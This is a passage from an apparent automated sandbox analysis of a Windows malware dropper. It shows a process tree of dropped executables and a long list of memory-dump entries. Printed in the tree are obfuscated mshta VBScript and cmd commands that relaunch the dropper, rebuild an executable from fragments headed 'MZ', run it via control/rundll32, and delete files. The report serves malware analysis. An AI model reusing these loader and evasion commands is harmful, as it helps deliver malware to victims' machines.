                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4800
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\8726283.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\8726283.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1184
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\1559720.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\1559720.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4488
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\531022.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\531022.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5008
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\531022.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\531022.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:692
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\531022.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\531022.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5072
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
                                                                                                                                                                                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5132
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                                                                                                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5472
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                                                                                                                                                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4220
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ). RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
                                                                                                                                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1356
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q *
                                                                                                                                                                                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:8168
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" EChO "
                                                                                                                                                                                                                                                                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:8616
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
                                                                                                                                                                                                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:9004
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\control.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      control ..\WfNRfms4.K
                                                                                                                                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:9008
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
                                                                                                                                                                                                                                                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:9712
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    taskkill -f -Im "531022.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5360
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\5952231.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\5952231.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5068
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4888
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\2099675.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\2099675.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3720
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1920 -s 596
                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1468
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c Wed121f7e9e92793cf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2972
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 656
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4184
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-9E1UP.tmp\Wed120b6f5c6d562.tmp
                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-9E1UP.tmp\Wed120b6f5c6d562.tmp" /SL5="$101F0,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed120b6f5c6d562.exe" /SILENT
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4252
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed120b6f5c6d562.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed120b6f5c6d562.exe" /SILENT
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4104
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed121f7e9e92793cf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            Wed121f7e9e92793cf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:872
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed121f7e9e92793cf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed121f7e9e92793cf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4468
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12859e3c1cf63b6a0.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12859e3c1cf63b6a0.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4392
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 668
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4484
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\colorcpl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SysWOW64\colorcpl.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6076
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                /c del "C:\Users\Admin\Pictures\Adobe Films\DJ08Xfxr97rjelKWBioursF3.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4600
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7044
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6948
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6496
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\5C75.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\5C75.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4852
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6940
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\6432.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\6432.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1796
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\fhsvsws
                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\fhsvsws
                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5776
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2236
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:8116
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • \??\c:\windows\system\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              c:\windows\system\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6328
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\WerFault.exe" -k -lc PoW32kWatchdog PoW32kWatchdog-20211108-1628.dm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\fhsvsws
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\fhsvsws
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:10800

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/872-255-0x00000000054F0000-0x0000000005566000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    472KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/872-237-0x0000000000D20000-0x0000000000D21000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/900-231-0x0000000000850000-0x0000000000851000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/900-247-0x0000000007680000-0x0000000007681000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1184-378-0x0000000005560000-0x0000000005561000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1184-353-0x0000000077B10000-0x0000000077C9E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1212-654-0x0000000000460000-0x000000000050E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    696KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1356-616-0x00000000020D0000-0x0000000002147000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    476KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1360-242-0x0000000003220000-0x0000000003221000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1360-208-0x0000000000E70000-0x0000000000E71000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1364-542-0x0000000004BB0000-0x0000000004BB1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1480-251-0x0000000004672000-0x0000000004673000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1480-474-0x0000000004673000-0x0000000004674000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1480-192-0x0000000002950000-0x0000000002951000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1480-199-0x0000000002950000-0x0000000002951000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1480-210-0x0000000006CF0000-0x0000000006CF1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1480-222-0x0000000004670000-0x0000000004671000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1480-259-0x00000000073C0000-0x00000000073C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1480-268-0x0000000007370000-0x0000000007371000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1480-427-0x000000007F190000-0x000000007F191000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1480-264-0x0000000007650000-0x0000000007651000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1480-246-0x0000000006C10000-0x0000000006C11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1480-206-0x00000000045C0000-0x00000000045C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1480-260-0x00000000075C0000-0x00000000075C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1628-287-0x000000001BE10000-0x000000001BE11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1628-284-0x0000000002810000-0x0000000002811000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1628-225-0x000000001B290000-0x000000001B292000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1628-218-0x00000000006A0000-0x00000000006A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1656-250-0x0000000000030000-0x0000000000039000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    36KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1656-203-0x0000000002F51000-0x0000000002F62000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    68KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1656-249-0x0000000000400000-0x0000000002DAA000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    41.7MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1920-141-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.5MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1920-138-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.5MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1920-145-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    100KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1920-143-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    100KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1920-142-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    152KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1920-137-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    572KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1920-140-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.5MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1920-139-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.5MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1920-135-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    572KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/1920-148-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

